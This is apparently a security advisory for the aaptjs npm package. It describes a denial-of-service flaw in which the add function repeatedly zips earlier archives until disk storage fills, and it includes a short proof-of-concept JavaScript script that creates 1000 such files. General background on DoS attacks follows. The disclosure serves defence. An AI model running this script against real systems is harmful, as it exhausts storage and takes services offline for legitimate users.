Denial of Service (DoS) Affecting aaptjs package, versions *

aaptjs is an A node wraper for aapt

Affected versions of this package are vulnerable to Denial of Service (DoS) via the add function which can be used to iteratively create new zip files from previous ones, eventually filling up the file system storage space.

const pkg = require('aaptjs');



/* 
* Creates many zip files. After PREV_ZIP_SZ zip files created, 
* it starts adding the last PREV_ZIP_SZ zip files to the new one 
* rather than just hte previous one.
*/
const manyZipSpam = async function(zipCount) {
    
    var prom_base = await pkg.add('test0.zip', ['aaptjs_poc.js']);

    const PREV_ZIP_SZ = 20;
    
    for (let i = 0; i < zipCount; i++) {
        const source_array = [];

        if (i > PREV_ZIP_SZ) {
            for(let j = PREV_ZIP_SZ; j > 0; j--) {
                source_array.push(`test${i - j}.zip`)
            }
        }
        else {
            source_array.push(`test${i}.zip`);
        }

        var prom = await pkg.add(`test${i+1}.zip`, source_array);
    }
};

// Increase the number to increase the storage space usage.
manyZipSpam(1000);

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GitHub Gist